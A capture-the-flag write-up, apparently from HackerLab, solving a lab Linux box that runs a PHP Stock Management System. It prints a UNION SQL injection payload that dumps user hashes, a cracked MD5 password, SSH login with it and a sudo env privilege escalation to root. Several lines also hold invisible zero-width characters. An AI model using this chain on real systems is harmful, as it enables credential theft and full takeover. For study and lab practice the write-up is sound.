СМС (SMS)

Platform: hackerlab | Category: Infrastructure | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-27 | Status: Solved Techniques: UNION-based SQL injection in PHP application, MD5 hash cracking via rainbow tables, SSH access with cracked credentials, Privilege escalation via sudo env misconfiguration

Summary

• Target: 192.168.2.201 (Linux Ubuntu) - Application: Stock Management System - PHP (sourcecodester) - Quote: "Эксперт — это человек, который больше уже не думает; он знает"

СМС (SMS) - HackerLab

Description

• Target: 192.168.2.201 (Linux Ubuntu)
• Application: Stock Management System - PHP (sourcecodester)
• Quote: "Эксперт — это человек, который больше уже не думает; он знает"

Analysis

Reconnaissance

Nmap scan revealed 3 open ports:

Web application: Stock Management System (SMS) - a well-known PHP application by sourcecodester with public vulnerabilities. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Discovery

1. SQL dump exposed: http://192.168.2.201/database/sms_db.sql
2. Known SQLi: purchase_order endpoint has a known UNION-based SQL injection

Solution

Step 1: SQL Injection - Extracting Users

Vulnerable endpoint:

/admin/?page=purchase_order/manage_po&id=

Determining the number of columns via ORDER BY - found 13 columns.

Payload for extracting credentials:

0'+union+select+1,2,3,4,5,6,7,8,group_concat(username,0x3a,password),10,11,12,13+from+users--+-

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Column 9 is displayed in the textarea "remarks" field.

Extracted users:

Step 2: MD5 Hash Cracking

Using md5.gromweb.com to crack the t.maksim hash:

Hash: 54b8d5e572e7adc30ea917c94f341a89
Password: loveless

Step 3: SSH Access

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
ssh t.maksim@192.168.2.201
# Password: loveless

First part of the flag in the home directory:

cat ~/first_part
CODEBY{cms_sql1_

Step 4: Privilege Escalation

Checking sudo permissions:

 bash read-only • copy allowed Copy
sudo -l
# (ALL) NOPASSWD: /usr/bin/env

GTFOBins privesc for /usr/bin/env:

 bash read-only • copy allowed Copy
sudo /usr/bin/env /bin/bash

Got root shell!

 bash read-only • copy allowed Copy
cat /root/last_part
REDACTED}

Attack Chain

Recon (nmap) 
    → Web App Identification (SMS PHP)
    → SQL Injection (UNION-based, 13 columns)
    → Credential Extraction (users table)
    → MD5 Cracking (rainbow tables)
    → SSH Access (t.maksim:loveless)
    → Privilege Escalation (sudo env → root)
    → Flag

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

References

• GTFOBins - env
• Stock Management System vulnerabilities ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍